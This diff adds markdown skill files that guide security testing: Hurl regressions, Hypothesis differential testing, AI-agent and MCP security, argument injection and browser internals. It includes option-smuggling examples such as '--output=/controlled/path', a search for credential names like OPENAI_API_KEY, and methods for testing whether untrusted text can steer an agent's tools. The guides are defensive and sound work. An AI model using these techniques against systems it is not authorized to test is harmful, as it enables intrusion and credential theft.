```
|
||||
|
||||
When credentials are required, pass them with `--secrets-file local-secrets.env`, keep that file outside version control, and avoid verbose/debug output that could expose headers or bodies. Use `--variables-file` only for non-secret environment values.
|
||||
|
||||
## Designing a Security Regression
|
||||
|
||||
- Assert the security invariant, not only a status code: denied identity, final normalized location, absence/presence of a structural field, unchanged object state, or exact benign result.
|
||||
- Capture only values needed by later requests. Do not write tokens, personal data, or response bodies into committed reports.
|
||||
- Encode a malformed but non-triggering control alongside the suspected case.
|
||||
- Run the same file against vulnerable and fixed builds through `base_url` or other explicit variables.
|
||||
- Keep state-changing methods in a clearly labeled lab/staging file; prefer no-op actions, inert markers, and cleanup requests.
|
||||
- Check every redirect step when the vulnerability crosses routing, origin, or authentication boundaries. Blindly following redirects can hide the relevant transition.
|
||||
- Use unique canaries so cached or pre-existing state cannot create a false positive.
|
||||
|
||||
## Chain Structure
|
||||
|
||||
Organize longer files around capability transitions:
|
||||
|
||||
```text
|
||||
fingerprint -> establish session -> reach boundary -> prove primitive -> verify state -> cleanup
|
||||
```
|
||||
|
||||
At each response, assert the condition required by the next request. A final success assertion cannot explain which earlier assumption failed.
|
||||
|
||||
Useful Hurl features include:
|
||||
|
||||
- captures from headers, cookies, JSONPath, XPath, and regex queries
|
||||
- assertions over status, headers, body, JSON/XML, redirects, and timing
|
||||
- request-local options and variables
|
||||
- `--test` plus JSON, JUnit, TAP, or HTML reports
|
||||
|
||||
Consult the [Hurl manual](https://hurl.dev/docs/manual.html) for version-specific syntax instead of guessing an option.
|
||||
|
||||
## Safety Rules
|
||||
|
||||
- Use an explicit `base_url`; never derive the destination from untrusted response data without validating scheme, host, and port.
|
||||
- Review POST/PUT/PATCH/DELETE requests and server-side side effects before replay.
|
||||
- Set bounded timeouts and retries for the target; do not use polling as an unbounded brute-force loop.
|
||||
- Do not use Hurl for raw HTTP parser/smuggling cases when its HTTP stack normalizes the bytes being tested; use an appropriate raw harness in an isolated lab.
|
||||
- Use `--path-as-is` when literal `/../` or `/./` path segments are the behavior under test; otherwise Hurl's underlying URL handling can normalize them.
|
||||
- Redact reports. HTML/JSON/JUnit artifacts may contain request URLs, headers, captured variables, and response snippets.
|
||||
- Keep authentication material in local secret storage and use dedicated test accounts with minimum privilege.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
1. reviewed `.hurl` file with variableized target and no embedded secrets
|
||||
2. vulnerable, fixed, and negative-control environment descriptions
|
||||
3. assertion at every capability transition
|
||||
4. deterministic results with tool version and timestamps
|
||||
5. side effects, cleanup, and residual-state check
|
||||
6. redacted report appropriate for sharing
|
||||
@@ -0,0 +1,100 @@
|
||||
---
|
||||
name: hypothesis
|
||||
description: Property-based local differential testing with Hypothesis for parsers, canonicalizers, serializers, validators, routers, and other pure functions, emphasizing explicit invariants, shrinking, reproducibility, and bounded resource use
|
||||
---
|
||||
|
||||
# Hypothesis Differential Testing
|
||||
|
||||
Use [Hypothesis](https://hypothesis.readthedocs.io/) when a security property can be expressed over local code and failures are likely to hide in combinations of encoding, normalization, structure, or parser recovery. It is especially useful for comparing two implementations or checking that validation and consumption preserve the same meaning.
|
||||
|
||||
Do not point unrestricted generators at a live service. Hypothesis is safest and most useful against pure local adapters with no network, subprocess, filesystem, or persistent-state side effects.
|
||||
|
||||
## Install
|
||||
|
||||
Use an isolated virtual environment and install a reviewed pinned version:
|
||||
|
||||
```bash
|
||||
python -m pip install 'hypothesis==<reviewed-version>'
|
||||
```
|
||||
|
||||
Official project: [Hypothesis](https://github.com/HypothesisWorks/hypothesis)
|
||||
|
||||
## Start From an Invariant
|
||||
|
||||
Write the security relationship before writing strategies. Examples:
|
||||
|
||||
```text
|
||||
allowlist(raw) implies sink(canonicalize(raw)) remains inside the allowed origin/path
|
||||
validator(raw) accepts implies consumer(raw) assigns the same media type/structure
|
||||
parse_A(raw) and parse_B(raw) agree on message boundaries and authoritative fields
|
||||
serialize(parse(raw)) cannot introduce a delimiter, wildcard, traversal, or new field
|
||||
```
|
||||
|
||||
A test that only checks “does not crash” can find robustness bugs but does not establish a security differential.
|
||||
|
||||
## Minimal Differential Harness
|
||||
|
||||
```python
|
||||
from hypothesis import given, settings, strategies as st
|
||||
|
||||
|
||||
def outcome(parser, raw):
|
||||
try:
|
||||
return ("accept", parser(raw))
|
||||
except ExpectedParseError as exc:
|
||||
return ("reject", type(exc).__name__)
|
||||
|
||||
|
||||
@settings(max_examples=250, deadline=500)
|
||||
@given(st.text(max_size=128))
|
||||
def test_security_boundary(raw: str) -> None:
|
||||
checked = outcome(security_parser, raw)
|
||||
consumed = outcome(sink_parser, raw)
|
||||
assert equivalent_security_meaning(checked, consumed)
|
||||
```
|
||||
|
||||
- Bound string/list/binary sizes, recursion, examples, and deadline.
|
||||
- Build structured inputs from relevant tokens rather than generating unrestricted noise.
|
||||
- Normalize expected accept/reject/error outcomes explicitly so ordinary parser rejection is not mistaken for a property-test failure.
|
||||
- Use `st.one_of`, `st.sampled_from`, `st.lists`, `st.binary`, `st.text`, and composite strategies to represent the actual grammar.
|
||||
- Add explicit edge seeds with `@example` for known delimiters and regressions.
|
||||
- Let Hypothesis shrink failures; the minimal counterexample is often the clearest explanation of the parser disagreement.
|
||||
|
||||
## High-Value Strategy Axes
|
||||
|
||||
- percent and double encoding, malformed escapes, mixed separators
|
||||
- Unicode normalization, replacement characters, surrogates, case folding, IDNA
|
||||
- dot segments, slash/backslash, absolute/relative paths, sibling-prefix collisions
|
||||
- duplicate, empty, first/last, comma-joined, or differently cased fields
|
||||
- declared length versus actual bytes, truncation, padding, and terminators
|
||||
- nested objects, parser depth, ordering, unknown keys, and error recovery
|
||||
- serialize/deserialize round trips and version-to-version behavior
|
||||
|
||||
Generate only axes supported by the target's transformation graph. Cartesian payload spraying obscures causality.
|
||||
|
||||
## Reproducibility
|
||||
|
||||
- Keep the minimized failing example as a normal regression test.
|
||||
- Preserve code revision, dependency lock, locale, platform, and parser/library versions.
|
||||
- Keep Hypothesis's example database in a task-specific artifact directory when replay across runs matters.
|
||||
- For CI, rely on stored explicit regressions for critical cases; randomized discovery supplements them.
|
||||
- Classify nondeterminism before suppressing health checks. Timing, global state, environment, and shared caches can create flaky false differentials.
|
||||
|
||||
## Safety and Resource Controls
|
||||
|
||||
- Adapt target functions so tests cannot reach the network or execute commands.
|
||||
- Use temporary directories and non-secret corpora for parsers that require files.
|
||||
- Put native parsers in a disposable, networkless process/container with CPU, memory, file-size, and process ceilings.
|
||||
- Do not disable deadlines globally to hide hangs; isolate and bound intentionally slow examples.
|
||||
- A crash, timeout, or excessive allocation is a robustness result. Prove a security boundary or exploitability separately.
|
||||
- Never reuse captured credentials, customer content, or production requests as generative corpora without sanitization.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
1. stated invariant and why it protects a security boundary
|
||||
2. adapters and exact component/version pair compared
|
||||
3. bounded strategies and resource settings
|
||||
4. minimized counterexample and both interpretations
|
||||
5. stable explicit regression test
|
||||
6. impact trace from disagreement to privileged consumer
|
||||
7. fixed-version or corrected-invariant result
|
||||
@@ -0,0 +1,207 @@
|
||||
---
|
||||
name: agentic-system-security
|
||||
description: Security testing for authorized AI agents and MCP-style tool ecosystems, covering effective authority, tool/resource/prompt inventory, confused-deputy behavior, side-effect authorization, cross-tenant isolation, executable component supply chain, shadow integrations, and repeatable safety regression
|
||||
---
|
||||
|
||||
# Agentic System Security
|
||||
|
||||
Use this skill when an AI system can select tools, retrieve resources, invoke remote/local services, maintain memory, delegate to other agents, or install skills/plugins. Pair it with `llm_prompt_injection` for instruction attacks and classic vulnerability skills for the downstream HTTP, cloud, filesystem, identity, or code-execution sink.
|
||||
|
||||
Prompt text is not an authorization boundary. Treat the agent runtime as a confused deputy whose effective authority is bounded by the union of its credentials, tools, resources, network reach, filesystem access, delegated agents, and approval policy, then reduce that upper bound to the actually reachable subset by tracing token audience, scopes, routing, target authorization, environment, and approval flow.
|
||||
|
||||
## Effective-Authority Map
|
||||
|
||||
Draw the complete path:
|
||||
|
||||
```text
|
||||
user / external content
|
||||
-> model context and memory
|
||||
-> planner / router / policy
|
||||
-> tool or delegated agent
|
||||
-> credential and target system
|
||||
-> side effect / returned data
|
||||
```
|
||||
|
||||
Inventory, for each node:
|
||||
|
||||
- trust source and tenant/user ownership
|
||||
- immutable component identity, package/server name, version, and transport
|
||||
- tools, resources, prompts, model endpoints, plugins, skills, and MCP servers
|
||||
- credential identity, issuer, audience/resource, subject, tenant, scopes/roles, expiry, downstream token exchange, environment, and where it is injected
|
||||
- readable data and write/execute capabilities
|
||||
- network/listener exposure and test-versus-production target
|
||||
- argument validation, authorization point, approval point, schema/argument digest, delegated principal propagation, and audit log
|
||||
- data returned to the model and whether it can contain new instructions
|
||||
|
||||
Test from the lowest-privileged realistic user and device. The key comparison is the user's authority versus the agent/tool credential's authority.
|
||||
|
||||
## Core Test Areas
|
||||
|
||||
### Shadow Agent and AI Discovery
|
||||
|
||||
Do not assume the approved application inventory contains every agent, model endpoint, browser extension, local MCP server, or AI API integration. Correlate multiple independent signals:
|
||||
|
||||
- DNS/proxy/egress logs for first-seen model, agent, vector database, plugin, and AI SaaS domains
|
||||
- OAuth/SSO grants, enterprise-app consent, service principals, API tokens, and unusual delegated scopes
|
||||
- endpoint processes, browser extensions/native messaging, listening loopback ports, and MCP client/server configuration
|
||||
- repository, CI/CD, secrets-manager, and container/image references to model providers, tool servers, and AI credentials
|
||||
- cloud-hosted model endpoints, notebooks, functions, gateways, and procurement/expense/SaaS inventory
|
||||
|
||||
Baseline local discovery from the host before interpreting network or SSO signals:
|
||||
|
||||
```bash
|
||||
# macOS
|
||||
lsof -nP -iTCP -sTCP:LISTEN
|
||||
ps -axo pid,ppid,user,command
|
||||
|
||||
# Linux
|
||||
ss -lntp
|
||||
ps -eo pid,ppid,user,args
|
||||
|
||||
# Windows PowerShell
|
||||
Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess
|
||||
Get-Process | Select-Object Id,ProcessName,Path
|
||||
|
||||
# Cross-platform config and credential leads
|
||||
rg -l 'mcpServers|modelContextProtocol|OPENAI_API_KEY|ANTHROPIC_API_KEY|AZURE_OPENAI_ENDPOINT' <reviewed-roots>
|
||||
```
|
||||
|
||||
Correlate each listener or config hit to PID/container, parent process, binary hash/version, launch command, config file, destination, and credential reference before calling it an active agent component. A loopback listener is a lead, not proof of reachable authority.
|
||||
|
||||
Classify each discovered integration by data read, data write, external communication, execution, identity/admin, and production reach. Human-validate attribution before treating a domain or key name as active AI use. Inspect unauthenticated local MCP/agent listeners separately; network inventory tools often miss loopback-only services.
|
||||
|
||||
### Tool Discovery and Argument Boundaries
|
||||
|
||||
- Enumerate advertised and conditionally available tools, resources, prompts, schemas, annotations, and delegated agents.
|
||||
- Compare what the UI exposes with what the protocol/runtime accepts directly.
|
||||
- Test missing, extra, duplicate, nested, oversized, alternate-type, and cross-tenant identifiers in tool arguments.
|
||||
- Validate scheme/host/path, filesystem paths, cloud resource IDs, recipient identities, SQL/query fields, and command arguments at the tool boundary.
|
||||
- Treat tool descriptions, names, examples, resource metadata, and returned content as attacker-influenceable unless provenance is enforced.
|
||||
- Canonicalize tool identity as `server identity/version + endpoint/transport + tool name + schema digest`; do not collapse two identically named tools from different servers into one trust decision.
|
||||
- Treat protocol hints such as `readOnlyHint`, `destructiveHint`, `idempotentHint`, and `openWorldHint` as untrusted metadata, not authorization.
|
||||
- Verify that unknown tools or schema-invalid calls fail closed without falling back to a broader handler.
|
||||
|
||||
### Confused Deputy and Consequential Actions
|
||||
|
||||
- Ask whether untrusted user/document/tool text can choose the tool, target, identity, or action.
|
||||
- Test read-to-write escalation: a summarizer should not send, publish, delete, purchase, deploy, or modify because retrieved text requests it.
|
||||
- Test whether approval binds the exact server identity/version, tool name, schema digest, normalized arguments, credential, target, side effect, and expiry. Revalidate those fields immediately before execution; a generic “continue?” is weak if arguments can change after approval.
|
||||
- Exercise replay, retry, parallel calls, partial failure, cancellation, and delegated execution for duplicate or bypassed actions.
|
||||
- Prove impact at the actual target and audit log. Model narration or a fabricated tool result is not evidence.
|
||||
- Use dry-run/no-op/read-only operations first; require explicit human approval for consequential operations.
|
||||
|
||||
### Identity, Tenant, and Environment Isolation
|
||||
|
||||
- Vary user, workspace, tenant, session, conversation, and delegated-agent identity independently.
|
||||
- Test whether one tenant can reference another tenant's resources, tool sessions, caches, vector entries, files, or credentials.
|
||||
- Check whether development/test tools or credentials can reach production, and whether local tools inherit broad workstation authority.
|
||||
- Verify credential scoping at the target service, not only in the agent's application logic.
|
||||
- Confirm memory and cached tool results are partitioned and revoked when identity or role changes.
|
||||
|
||||
### MCP and Local Tool Servers
|
||||
|
||||
- Inventory stdio, streamable HTTP, SSE/legacy, and custom transports; record bind address, origin/auth controls, process command, environment, and lifecycle.
|
||||
- Look for unauthenticated loopback services reachable from browsers, containers, local users, SSRF, port forwarding, or shared hosts.
|
||||
- Compare `tools/list`, `resources/list`, and `prompts/list` results across identities, but do not assume listing means calling is authorized.
|
||||
- For each tool, validate the same authorization and argument checks through every supported transport.
|
||||
- Treat server-launched subprocess configuration, environment variables, and working directories as sensitive executable configuration.
|
||||
- For HTTP/SSE transports, validate OAuth issuer, signature, expiry, audience/resource, tenant, and scope claims at the server boundary. Reject tokens minted for the wrong audience, and do not treat a session ID as identity.
|
||||
- For downstream APIs, do not pass through the same bearer token unless the target explicitly authorizes that audience and principal. Separate upstream MCP authentication from downstream target authorization.
|
||||
- For browser or loopback OAuth, review redirect URI, state/PKCE handling, localhost binding, and consent proxying. Treat metadata fetches and tool discovery on remote servers as SSRF-relevant surfaces.
|
||||
- For stdio servers, the launch command and environment are already code execution. Discovery must not execute an unreviewed server binary or mutable package tag.
|
||||
|
||||
### Executable Component Supply Chain
|
||||
|
||||
Every skill, plugin, MCP server, model adapter, package, and update channel is an executable or behavior-shaping dependency. Record:
|
||||
|
||||
- canonical source, publisher, package namespace, pinned version and integrity/provenance
|
||||
- install/update mechanism, manifest/lockfile/config source, mutable tags, automatic updates, and rollback path
|
||||
- declared and effective permissions, credentials, filesystem/network access
|
||||
- transitive dependencies and lifecycle scripts
|
||||
- review/approval ownership and last verification date
|
||||
|
||||
In agent and MCP configs, inspect `command: npx` with `-y` and a bare package or
|
||||
binary name. The process can fetch code without an interactive prompt and then
|
||||
run it with the agent's authority. Load `npx_confusion` to determine whether the
|
||||
name resolves locally, becomes a public package spec, and belongs to the
|
||||
intended publisher.
|
||||
|
||||
Test missing/private-name fallback, typosquatting exposure, mutable remote instructions, compromised-update blast radius, and whether an “instruction-only” component can invoke tools or modify executable files. Resolve `latest`, floating git refs, and mutable image tags to immutable versions or digests before launch. Do not claim or publish contestable package names as proof, and do not execute unknown packages just to discover what they are.
|
||||
|
||||
Load `infrastructure_lifecycle` when a skill, plugin, MCP server, model adapter, tool-schema origin, package namespace, or update endpoint is retired, mutable, or externally reassignable. Passive receipt of an agent heartbeat or catalog request does not authorize returning tool definitions, prompts, commands, or executable content.
|
||||
|
||||
### Output, Telemetry, and Failure Modes
|
||||
|
||||
- Validate model/tool output before it reaches HTML, shell, SQL, URLs, file paths, templates, or a second agent.
|
||||
- Ensure logs record initiating user, tool/server identity, sanitized arguments, approval, target, result, and correlation ID without storing secrets.
|
||||
- Test timeout, tool error, truncated output, malformed result, model retry, and policy-service failure. Failures should not silently switch to a more privileged tool or credential.
|
||||
- Verify kill switches, credential revocation, and disabling a component actually terminate active sessions and queued work.
|
||||
|
||||
## Safe Testing Workflow
|
||||
|
||||
1. **Map** every capability and trust boundary before injecting prompts.
|
||||
2. **Classify** tools as read, write, execute, communicate, identity/admin, or external-cost.
|
||||
3. **Establish controls** with dedicated test tenants, synthetic data, read-only credentials, budgets, and target allowlists.
|
||||
4. **Probe one boundary** at a time: selection, arguments, authorization, approval, execution, result handling.
|
||||
5. **Validate the side effect** in the target system and audit trail; compare denied and allowed identities.
|
||||
6. **Chain confirmed primitives** using the effective-authority and capability map from this skill.
|
||||
7. **Clean up and revoke** created data, sessions, tokens, and local servers.
|
||||
8. **Turn each confirmed case into a regression** across relevant models, prompts, tools, roles, and environments.
|
||||
|
||||
## MCP Inspector (Conditional)
|
||||
|
||||
Use the official [MCP Inspector](https://github.com/modelcontextprotocol/inspector) only against a reviewed local/test server:
|
||||
|
||||
```bash
|
||||
npx @modelcontextprotocol/inspector@<reviewed-version> --cli \
|
||||
--config reviewed-mcp.json --server test-server \
|
||||
--method tools/list --format json
|
||||
```
|
||||
|
||||
- Current upstream requirements should be checked before pinning; as of August 12, 2026, MCP Inspector 2.1.0 requires Node.js `>=22.19.0`.
|
||||
- Prefer CLI/TUI and loopback binding over exposing the web UI.
|
||||
- Preserve the generated API token; never disable authentication or bind the process-spawning backend to an external interface.
|
||||
- Do not publish ports 6274/6277 or pass through the Docker socket/host devices.
|
||||
- `tools/list` is protocol-read-only, but launching/initializing an arbitrary stdio server executes it and list handlers can still have process-side effects. Review the server command/config first. Calling a tool can perform real external actions.
|
||||
- Treat the inspected server command/config as executable; `npx` also downloads code, so pin a reviewed package version for repeatable or sensitive work.
|
||||
|
||||
## Regression With Promptfoo (Conditional)
|
||||
|
||||
[Promptfoo](https://github.com/promptfoo/promptfoo) can encode a bounded model/tool safety matrix after manual validation:
|
||||
|
||||
```bash
|
||||
npx promptfoo@<reviewed-version> eval
|
||||
```
|
||||
|
||||
- Current upstream engine constraints should be checked before pinning; as of August 12, 2026, Promptfoo documents Node.js `^20.20.0` or `>=22.22.0`.
|
||||
- Use synthetic prompts/data and a dedicated test provider/project.
|
||||
- Provider calls transmit data externally and can incur cost even when evaluation orchestration is local. Set request/concurrency and spending ceilings.
|
||||
- Pin model, provider, prompt, tool schema, retrieval corpus revision, and evaluator versions.
|
||||
- Include allowed and denied controls across roles/tenants; use multiple runs for nondeterministic outcomes.
|
||||
- Automated red-team labels are leads, not findings. Confirm the real tool call, data access, or side effect manually.
|
||||
- Store redacted results; evaluation logs can contain system prompts, secrets, retrieved data, and tool arguments.
|
||||
|
||||
## Validation
|
||||
|
||||
A report must include:
|
||||
|
||||
1. initiating identity, tenant, model/runtime, and exact component versions
|
||||
2. effective-authority map and relevant tool/resource schema
|
||||
3. untrusted input source and decision boundary crossed
|
||||
4. exact target-side operation or data access, with redacted audit evidence
|
||||
5. denied identity/input and allowed control results across repeat runs
|
||||
6. credential, feature, approval, environment, and user-interaction prerequisites
|
||||
7. cleanup/revocation and a bounded regression case
|
||||
|
||||
## False Positives
|
||||
|
||||
- The model claims a tool ran but the target and audit log show no action.
|
||||
- A listed tool cannot be invoked by the tested identity or validates arguments safely.
|
||||
- A safety refusal changes wording but effective capability remains denied.
|
||||
- Cross-session output is synthetic, cached public data, or hallucinated rather than another user's data.
|
||||
- A scanner flags an instruction string without showing that it reaches a privileged decision or sink.
|
||||
- A component has broad declared permissions but the runtime credential/network policy prevents the claimed access.
|
||||
|
||||
## Summary
|
||||
|
||||
Agent security is capability security. Map the real authority carried through models, tools, credentials, plugins, and delegated agents; validate authorization and approval at the target-side effect; treat every installed component as executable supply chain; and preserve each confirmed boundary failure as a bounded regression.
|
||||
@@ -0,0 +1,157 @@
|
||||
---
|
||||
name: argument-injection
|
||||
description: Test shell-free command argument injection across argv builders and CLI parsers, including option smuggling, response/config-file parsing, argument-boundary reparsing, and Windows Unicode-to-ANSI Best-Fit transformations
|
||||
---
|
||||
|
||||
# Argument Injection
|
||||
|
||||
Use this skill when attacker-influenced data reaches a trusted command-line program, even when no shell is involved. The security question is whether the input changes the program's **option set, operands, configuration, subcommand, or downstream parser state**.
|
||||
|
||||
Load `rce` when a shell parses the command string. Load `semantic_confusion` when validation and the final CLI/filesystem/configuration consumer see different representations.
|
||||
|
||||
## Model Every Parser Boundary
|
||||
|
||||
Build the actual transformation chain:
|
||||
|
||||
```text
|
||||
request value
|
||||
-> application validation
|
||||
-> argv builder or command-line string serializer
|
||||
-> OS/process creation API
|
||||
-> runtime argv construction
|
||||
-> target option parser
|
||||
-> response/config/auth file parser, URL parser, or subcommand
|
||||
```
|
||||
|
||||
Do not treat all process APIs alike:
|
||||
|
||||
- POSIX `execve(path, argv, envp)` and list-form subprocess APIs preserve array-element boundaries. Whitespace inside one element does not create another argument.
|
||||
- Shell/string forms introduce shell tokenization before the target program sees `argv`.
|
||||
- Windows process creation commonly serializes an argument array into one command-line string and lets the child runtime parse it back. Quoting rules differ across CRTs and applications.
|
||||
- Some programs deliberately reparse an argument as a response file, configuration file, URL, expression, template, or nested command language.
|
||||
|
||||
Record the exact API, platform, runtime, target binary/version, option parser, and final `argv` observed by the child.
|
||||
|
||||
## Primitive 1: Option and Subcommand Injection
|
||||
|
||||
An attacker-controlled value placed where an operand is expected can be interpreted as an option when it begins with an option prefix:
|
||||
|
||||
```text
|
||||
intended: ["tool", USER_VALUE]
|
||||
supplied: USER_VALUE = "--output=/controlled/path"
|
||||
actual: tool parses an output option instead of an operand
|
||||
```
|
||||
|
||||
Inventory security-relevant option classes rather than memorizing one payload:
|
||||
|
||||
- output, upload, extraction, log, cache, plugin, template, or configuration paths
|
||||
- alternate URL schemes, proxies, certificates, credentials, and authentication files
|
||||
- hooks, helpers, filters, interpreters, external programs, or dynamic libraries
|
||||
- config overrides, environment definitions, working directories, and search paths
|
||||
- subcommands that expose administrative, import/export, restore, diagnostic, or execution features
|
||||
|
||||
Check whether the target supports `--` as an end-of-options marker and whether the application places it before the untrusted operand. Do not assume every CLI honors `--`, or that it applies after a subcommand switches to a second parser.
|
||||
|
||||
## Primitive 2: Argument-Boundary Breakout
|
||||
|
||||
Require a component that reparses or reconstructs arguments. Candidate boundaries include:
|
||||
|
||||
- shell or command-string construction
|
||||
- Windows quoting/escaping mismatches between parent and child runtimes
|
||||
- newline-, NUL-, delimiter-, or quote-sensitive custom launchers
|
||||
- wrappers that join an array and later split it
|
||||
- CGI/interpreter mappings that turn request data into command-line options
|
||||
|
||||
Distinguish these outcomes:
|
||||
|
||||
```text
|
||||
["tool", "user --flag"] # one argv element; no split by execve
|
||||
["tool", "user", "--flag"] # extra argv element reached the target
|
||||
["tool", "@args.txt"] # one element, then reparsed by the target
|
||||
```
|
||||
|
||||
Logs often render arrays as strings and can falsely suggest splitting. Capture the child's real arguments through source instrumentation, a wrapper process, debugger, audit trace, `/proc/<pid>/cmdline`, or the platform equivalent.
|
||||
|
||||
## Primitive 3: Response, Config, and Authentication Files
|
||||
|
||||
Many trusted programs consume a second language after argv parsing:
|
||||
|
||||
- `@response-file` syntax used by compilers, linkers, JVM tooling, and custom launchers
|
||||
- `--config`, `-K`, credentials/auth files, include files, and rc/profile paths
|
||||
- newline-delimited key/value files generated from attacker-controlled fields
|
||||
- file contents where control characters create a new directive, identity, host, or option
|
||||
|
||||
Trace both attacker influence over the **file path** and influence over the **file content**. Correct shell quoting does not protect a file that is later tokenized by a different grammar. Record duplicate-key behavior, newline rules, comments, escaping, include directives, and first/last-value precedence.
|
||||
|
||||
## Windows Unicode-to-ANSI Best-Fit
|
||||
|
||||
On Windows, narrow-character APIs and CRT startup paths can convert Unicode command-line, environment, or filesystem data into an ANSI code page. Best-Fit mappings may introduce ASCII characters after earlier validation.
|
||||
|
||||
Relevant boundaries include:
|
||||
|
||||
- `GetCommandLineA` or a narrow `main(int, char **)` startup path
|
||||
- `GetEnvironmentVariableA`, `GetCurrentDirectoryA`, and narrow filesystem APIs
|
||||
- framework or native-extension transitions from UTF-16 strings to an ANSI code page
|
||||
|
||||
`CommandLineToArgvW` is the documented Windows command-line parser; there is no documented `CommandLineToArgvA`. Determine which CRT or application-specific parser constructs narrow `argv`.
|
||||
|
||||
Treat mappings as code-page-specific hypotheses, not universal payloads. Candidate transformations include soft hyphen to `-`, fullwidth/compatibility slash characters to `/` or `\`, and compatibility quotes or letters to ASCII equivalents. Capture:
|
||||
|
||||
- submitted Unicode code points and encoded bytes
|
||||
- active system/process code page
|
||||
- wide string before conversion
|
||||
- narrow bytes and final `argv` or filesystem path after conversion
|
||||
|
||||
Using wide-character APIs removes this particular conversion boundary but does not fix ordinary option injection.
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
In source, locate process creation and work forward into the consumer:
|
||||
|
||||
```text
|
||||
exec* posix_spawn subprocess ProcessBuilder Runtime.exec
|
||||
CreateProcess ShellExecute child_process os/exec Command
|
||||
```
|
||||
|
||||
For each attacker-controlled argument, answer:
|
||||
|
||||
1. Is it a distinct argv element or part of a command string?
|
||||
2. Can it begin with the target's option prefix?
|
||||
3. Is an end-of-options marker supported and correctly positioned?
|
||||
4. Does a wrapper, CRT, shell, or target reparse it?
|
||||
5. Can it select a response/config/auth file or inject directives into one?
|
||||
6. Which target option or subcommand turns that control into read, write, request, identity, or execution capability?
|
||||
|
||||
For black-box testing, compare an ordinary operand with option-prefixed, delimiter-bearing, control-character, and platform-specific Unicode variants. Match tests to options that actually exist in the deployed binary/version.
|
||||
|
||||
## Validation
|
||||
|
||||
- Show the final `argv` or secondary parser input, not only the application log line.
|
||||
- Pair the candidate with a control where the same bytes remain a literal operand.
|
||||
- Demonstrate the exact option, directive, subcommand, path, or handler selected.
|
||||
- Reproduce against the deployed binary, runtime, code page, and configuration.
|
||||
- Separate option control, additional-argument control, arbitrary directive control, and command execution; they are different primitives.
|
||||
|
||||
## False Positives
|
||||
|
||||
- The input is one argv element and the target treats it only as a positional operand.
|
||||
- `--` is supported, placed before the value, and not bypassed by a subparser.
|
||||
- A strict allowlist prevents option prefixes and all later transformations preserve it.
|
||||
- A delimiter appears only in logging or display formatting.
|
||||
- A response/config path is controllable but its contents or directives are not.
|
||||
- A Unicode character is accepted but no narrow/Best-Fit conversion occurs.
|
||||
- The injected option exists on another release or platform but not the deployed target.
|
||||
|
||||
## Remediation
|
||||
|
||||
- Use argument-array process APIs and avoid shell/string construction.
|
||||
- Insert `--` before untrusted operands where every relevant parser supports it.
|
||||
- Validate operands against the target CLI's grammar, not a generic shell blacklist.
|
||||
- Fix security-sensitive option names and configuration paths in trusted code.
|
||||
- Generate configuration/auth files with a format-aware serializer that rejects control characters and ambiguous duplicates.
|
||||
- On Windows, keep data in wide-character APIs and verify child-runtime parsing rules.
|
||||
- Enforce authorization again at the privileged operation selected by the CLI.
|
||||
|
||||
## Summary
|
||||
|
||||
Argument injection is control of a trusted program's behavior through its argv or a parser reached from argv. Preserve parser boundaries in the model: list-form execution, command-string tokenization, Windows runtime conversion, option parsing, and response/config-file parsing are distinct stages with distinct exploit conditions.
|
||||
@@ -0,0 +1,192 @@
|
||||
---
|
||||
name: browser-security
|
||||
description: Browser-internals security testing for browsing-context relationships, postMessage, client-side path traversal, XS-Leaks, service workers, Web Workers, navigation behavior, CSP interactions, caches, and cross-origin state machines
|
||||
---
|
||||
|
||||
# Browser Security
|
||||
|
||||
Use this skill when exploitability depends on browser behavior beyond a basic HTML injection. Model origins, browsing contexts, navigation history, workers, caches, router decoding, request metadata, and user activation as explicit state.
|
||||
|
||||
Pair this skill with `xss`, `oauth`, `open_redirect`, `csrf`, or `semantic_confusion` when one of those is the primary vulnerability class. For an Electron renderer with a preload or IPC bridge, load `electron_desktop_apps` to analyze whether navigation and origin transitions reach native capability.
|
||||
|
||||
## Safety Boundary
|
||||
|
||||
- Use a controlled browser profile, synthetic account/data, explicit target allowlist, and a fresh assessment-specific proxy/CA when interception is required.
|
||||
- Redact tokens, cookies, message contents, storage values, and personal data from console logs, captures, recordings, and reports.
|
||||
- Treat oversized URLs/headers, cookie inflation, redirect loops, cache exhaustion, and high-rate timing trials as resource/denial-of-service tests; run them only with strict ceilings in a restartable lab.
|
||||
- Do not attempt to set or spoof browser-generated `event.origin`. Vary the sender URL and record the serialized origin supplied by the browser.
|
||||
- Restore monkey-patched browser APIs and unregister test workers/caches after validation.
|
||||
|
||||
## Browser State Model
|
||||
|
||||
For each relevant page or worker, record:
|
||||
|
||||
- origin and site, including transitions after navigation
|
||||
- top-level window, opener, parent, child frames, named contexts, and retained references
|
||||
- sandbox flags, CSP `frame-ancestors`, COOP, COEP, CORP, and X-Frame-Options
|
||||
- service-worker controller and scope
|
||||
- storage access: cookies, local/session storage, IndexedDB, Cache API
|
||||
- navigation/history entries and redirect type: HTTP, JavaScript, form, meta refresh
|
||||
- user-activation and interaction requirements
|
||||
- browser family/version and enabled experimental features
|
||||
|
||||
Draw the context graph. Security checks on `event.origin`, `event.source`, or a popup reference are meaningful only when the lifetime and ownership of that context are understood.
|
||||
|
||||
## High-Value Surfaces
|
||||
|
||||
### postMessage and Window Relationships
|
||||
|
||||
- Enumerate listeners and senders; record message schema, origin check, source check, and reachable sinks/actions.
|
||||
- Validate origins after URL parsing and canonicalization, not with raw-string regexes.
|
||||
- Test numeric/alternate IP forms, userinfo, path masquerading as a host suffix, and redirects.
|
||||
- Treat predictable `window.open()` target names and iframe names as potentially shared namespace entries. Confirm reuse within the same browsing-context group, opener chain, COOP state, and relevant navigation/message timing.
|
||||
- Check whether a blocked intermediate frame leaves a useful browsing-context relationship intact.
|
||||
- Use random per-flow names or `_blank` with `noopener` where an opener relationship is unnecessary.
|
||||
|
||||
### Client-Side Path Traversal
|
||||
|
||||
Trace the complete source-to-request pipeline:
|
||||
|
||||
```text
|
||||
browser URL -> router parser -> route/query/hash accessor -> app interpolation -> fetch/XHR -> final normalized URL
|
||||
```
|
||||
|
||||
- Test path parameters, query parameters, and hashes independently.
|
||||
- Determine exactly where `%2F`, `%5C`, `%2E`, and double-encoded forms decode or re-encode.
|
||||
- Instrument `fetch`, XHR, Axios, router navigation, and server-side fetch wrappers to capture the final URL.
|
||||
- Escalate only after identifying the sink: state-changing API for CSRF-like impact, HTML/attachment response rendered in an unsafe sink for XSS, or server-side fetch for SSRF.
|
||||
